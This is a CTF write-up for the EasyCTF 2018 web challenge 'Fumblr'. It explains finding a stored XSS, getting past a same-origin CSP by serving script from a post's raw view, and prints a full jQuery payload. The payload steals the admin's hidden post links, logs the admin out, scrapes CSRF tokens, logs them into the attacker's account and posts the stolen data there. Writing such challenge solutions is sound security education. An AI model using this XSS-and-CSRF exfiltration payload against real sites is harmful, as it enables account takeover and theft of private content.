EasyCTF 2018: Fumblr
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
EasyCTF 2018 | Fumblr | Web | 275 | ? |
Description
Fumblr is a microblogging platform. The goal of the challenge is to read the hidden posts of the admin.
TL;DR
After finding a XSS, I manage to bypass the CSP using the raw post functionality. Made a payload to exfiltrate admin’s hidden posts and post them on my blog.
Find the vulnerability
Once on it, we discover 4 pages :
- Home
- Report
- Log in
- Sign up
On the report page, it is possible to submit an url to the admin, this guides us towards a potential XSS. After registration and login, it’s possible to create a post. We test the presence of an XSS using <svg/onload=alert()>.
The application is vulnerable to a stored XSS, but the JS is not executed, in fact, the admin has set up a CSP.
CSP Bypass
default-src 'self'
script-src 'self' http://www.google.com/recaptcha/ http://www.gstatic.com/recaptcha/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;
style-src 'self' 'unsafe-inline';
frame-src 'self' http://www.google.com/recaptcha/ https://www.google.com/recaptcha/
It seems to complicate to exploit the allowed domains: http://www.google.com and http://www.gstatic.com, so it is necessary to be able to include js from a file stored on Fumblr.
On Fumblr, it is possible to display the content of a post in plain/text by adding /raw to his url. This functionality will allow us to bypass the CSP!
Indeed, we can only include JS from the same domain, just place its JS in a post and access it in raw ;)
Now that we have our javascript file directly stored on the Fumblr server, we just have to include it from another post.
There you go! CSP has been bypassed.
Exfiltrate data
Now, we need to retrieve hidden posts from admin, you can quickly find his blog page: http://c1.easyctf.com:12491/blog/admin
The hardest part isn’t to retrieve all these posts, but to exfilter them, this because of the CSP not allowing to make requests other than to Fumblr, https://www.google.com/recaptcha/ and https://www.gstatic.com/recaptcha/.
The first idea I have in mind is to force the admin to post on his blog, the problem with this solution is that they will be visible directly to other teams, so not crazy x)
After some tests of redirection of the admin, nothing conclusive… Reading the report page again, I come across this “Please note that the admin will only do exactly ONE page load.“So we must find another solution…
Then, I wonder how the admin could post on my own blog? In order to succeed in this, I find only one solution, disconnect and loginin the admin into my account. But the way is a little more complicated than that, Fumblr uses tokens to prevent CSRF attacks, so it will be necessary to recover them so that the admin logs into our account and also to post.
Here is the final payload.
var flag = '';
# Get admin blog page content
$.ajax({type:'GET', url:'http://c1.easyctf.com:12491/blog/admin', success:getFlag});
function getFlag(response){
# Admin's links recovery and base64'ize
regex = new RegExp('"/blog/admin/(.*)">','gi');
token = response.match(regex).toString();
flag = btoa(token);
# Logout
$.get({url: 'http://c1.easyctf.com:12491/logout', async:false});
# Login
login_token = getToken('http://c1.easyctf.com:12491/login');
$.post({url: 'http://c1.easyctf.com:12491/login', data: { username: 'loul', password: 'loul', _csrf: login_token }, async: false});
# Post
post_token = getToken('http://c1.easyctf.com:12491/blog/loul');
$.post({url: 'http://c1.easyctf.com:12491/create-post', data: { hidden: 'on', title: 'FLAG', body: flag, _csrf: post_token }, async: false});
}
function getToken(url) {
rt = $.get({url: url, async: false}).responseText;
form = $($(rt).find('form')[0]);
return form.find('input[name="_csrf"]').val();
}
Flag
After sending the payload to the admin, I juste have to waite one minute and a base64 was posted on the *loul’s *blog :
Ii9ibG9nL2FkbWluLzVhODljMjMwYzQxMmRmMmEwMDAxMTU2MyI+LCIvYmxvZy9hZG1pbi81YTg5YzE3MmM0MTJkZjJhMDAwMTE1NTciPiwiL2Jsb2cvYWRtaW4vMWI0M2MxODJjNDM0ZGYyYTQzNTExNTYxIj4=
After decoding it gives us 3 links :
/blog/admin/5a89c230c412df2a00011563
/blog/admin/5a89c172c412df2a00011557
/blog/admin/1b43c182c434df2a43511561
Just need to browser on links to get the flag!
The flag was easyctf{I_th0ght_CSP_m4d3_1t_s3cur3?}
DrStache